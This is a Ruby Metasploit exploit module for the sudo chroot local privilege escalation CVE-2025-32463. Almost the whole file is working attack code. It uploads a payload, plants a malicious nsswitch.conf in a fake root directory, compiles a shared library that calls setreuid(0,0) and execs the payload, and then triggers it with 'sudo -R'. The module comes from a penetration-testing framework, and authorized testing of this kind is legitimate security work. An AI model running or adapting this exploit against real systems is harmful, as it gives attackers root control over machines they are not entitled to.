## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Compile include Msf::Post::Linux::Packages include Msf::Exploit::EXE include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Sudo Chroot 1.9.17 Privilege Escalation', 'Description' => %q{ Sudo before version 1.19.17p1 allows user to use `chroot` option, when executing command. The option is intended to run a command with user-selected root directory (if sudoers file allow it). Change in version 1.9.14 allows resolving paths via `chroot` using user-specified root directory when sudoers is still evaluating. This allows the attacker to trick Sudo into loading arbitrary shared object, thus resulting in a privilege escalation. }, 'License' => MSF_LICENSE, 'Author' => [ 'msutovsky-r7', # module dev 'Stratascale', # poc dev 'Rich Mirch' # security research ], 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_CMD ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'EDB', '52352' ], [ 'URL', 'https://www.helpnetsecurity.com/2025/07/01/sudo-local-privilege-escalation-vulnerabilities-fixed-cve-2025-32462-cve-2025-32463/'], [ 'CVE', '2025-32463'] ], 'DisclosureDate' => '2025-06-30', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) # force exploit is used to bypass the check command results register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), ] end # borrowed from exploits/linux/local/sudo_baron_samedit.rb def get_version versions = {} output = cmd_exec('sudo --version') if output version = output.split("\n").first.split(' ').last versions[:sudo] = version if version =~ /^\d/ end versions[:sudo].gsub(/p/, '.') end def check sudo_version = installed_package_version('sudo') || get_version return CheckCode::Unknown('Could not identify the version of sudo.') if sudo_version.blank? return CheckCode::Safe if !file?('/etc/nsswitch.conf') return CheckCode::Appears("Running version #{sudo_version}") if Rex::Version.new(sudo_version).between?(Rex::Version.new('1.9.14'), Rex::Version.new('1.9.17')) CheckCode::Safe("Sudo #{sudo_version} is not vulnerable") end def exploit # Check if we're already root if !datastore['ForceExploit'] && is_root? fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override' end # needs to compile in real-time to adjust payload execution path fail_with Failure::NotFound, 'Module needs to compile payload on target machine' unless live_compile? payload_file = rand_text_alphanumeric(5..10) existing_shell = cmd_exec('echo $0 || echo ${SHELL}') return Failure::NotFound, 'Could not find shell' unless file?(existing_shell) upload_and_chmodx("#{datastore['WritableDir']}/#{payload_file}", "#!#{existing_shell}\n#{payload.encoded}") register_files_for_cleanup("#{datastore['WritableDir']}/#{payload_file}") temp_dir = "#{datastore['WritableDir']}/#{rand_text_alphanumeric(5..10)}" base_dir = rand_text_alphanumeric(5..10) lib_filename = rand_text_alphanumeric(5..10) mkdir(temp_dir) cd(temp_dir) mkdir(base_dir.to_s) mkdir("#{base_dir}/etc") mkdir('libnss_') return Failure::PayloadFailed, 'Failed to create malicious nsswitch.conf file' unless write_file("#{base_dir}/etc/nsswitch.conf", "passwd: /#{lib_filename}\n") return Failure::PayloadFailed, 'Failed to copy /etc/group' unless copy_file('/etc/group', "#{base_dir}/etc/group") exploit_code = %< #include __attribute__((constructor)) void exploit(void) { setreuid(0,0); execve("#{datastore['WritableDir']}/#{payload_file}",NULL,NULL); }> upload_and_compile("#{temp_dir}/libnss_/#{lib_filename}.so.2", exploit_code, "-shared -fPIC -Wl,-init,#{base_dir}") cmd_exec("sudo -R #{base_dir} #{base_dir}") timeout = 30 print_status 'Launching exploit...' output = cmd_exec 'command', nil, timeout output.each_line { |line| vprint_status line.chomp } end end